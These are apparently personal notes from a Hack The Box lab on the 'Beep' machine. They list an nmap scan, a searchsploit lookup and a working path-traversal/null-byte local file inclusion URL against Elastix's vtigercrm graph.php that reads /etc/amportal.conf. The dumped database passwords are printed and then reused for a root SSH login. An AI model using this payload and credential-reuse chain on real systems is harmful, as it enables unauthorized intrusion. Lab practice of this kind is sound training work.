LFI

OLD SSH

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

| ssh-hostkey:

| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)

|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)

25/tcp open smtp Postfix smtpd

|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

80/tcp open http Apache httpd 2.2.3

|_http-server-header: Apache/2.2.3 (CentOS)

|_http-title: Did not follow redirect to https://beep.htb/

|_https-redirect: ERROR: Script execution failed (use -d to debug)

110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

|_pop3-capabilities: APOP STLS PIPELINING IMPLEMENTATION(Cyrus POP3 server v2) TOP RESP-CODES AUTH-RESP-CODE USER EXPIRE(NEVER) UIDL LOGIN-DELAY(0)

111/tcp open rpcbind 2 (RPC #100000)

143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

|_imap-capabilities: NO UNSELECT CHILDREN ATOMIC Completed OK SORT ID MULTIAPPEND LIST-SUBSCRIBED X-NETSCAPE LITERAL+ URLAUTHA0001 STARTTLS LISTEXT MAILBOX-REFERRALS IMAP4rev1 IDLE CONDSTORE RIGHTS=kxte CATENATE ACL ANNOTATEMORE THREAD=REFERENCES NAMESPACE BINARY IMAP4 UIDPLUS QUOTA THREAD=ORDEREDSUBJECT RENAME SORT=MODSEQ

443/tcp open ssl/https?

|_ssl-date: 2020-03-17T12:52:39+00:00; +1h00m06s from scanner time.

993/tcp open ssl/imap Cyrus imapd

|_imap-capabilities: CAPABILITY

995/tcp open pop3 Cyrus pop3d

3306/tcp open mysql MySQL (unauthorized)

4445/tcp open upnotifyp?

10000/tcp open http MiniServ 1.570 (Webmin httpd)

root@akg:/home/akg/Desktop/hackthebox/beep# searchsploit elastix

---

Exploit Title | Path

| (/usr/share/exploitdb/)

Elastix - 'page' Cross-Site Scripting | exploits/php/webapps/38078.py

Elastix - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/38544.txt

Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/34942.txt

Elastix 2.2.0 - 'graph.php' Local File Inclusion | exploits/php/webapps/37637.pl

https://beep.htb//vtigercrm/graph.php?current_language=../../../../../../..//etc/amportal.conf%00&module=Accounts&action

root@akg:/home/akg/Desktop/hackthebox/beep# cat creds.txt

AMPDBHOST=localhost

AMPDBENGINE=mysql

AMPDBNAME=asterisk

AMPDBUSER=asteriskuser

AMPDBPASS=amp109

AMPDBPASS=jEhdIekWmdjE

AMPENGINE=asterisk

AMPMGRUSER=admin

#AMPMGRPASS=amp111

AMPMGRPASS=jEhdIekWmdjE

root@kali:/home/kali/Desktop/hackthebox/beep# ssh root@10.10.10.7

Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

root@kali:/home/kali/Desktop/hackthebox/beep# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc root@10.10.10.7

jEhdIekWmdjE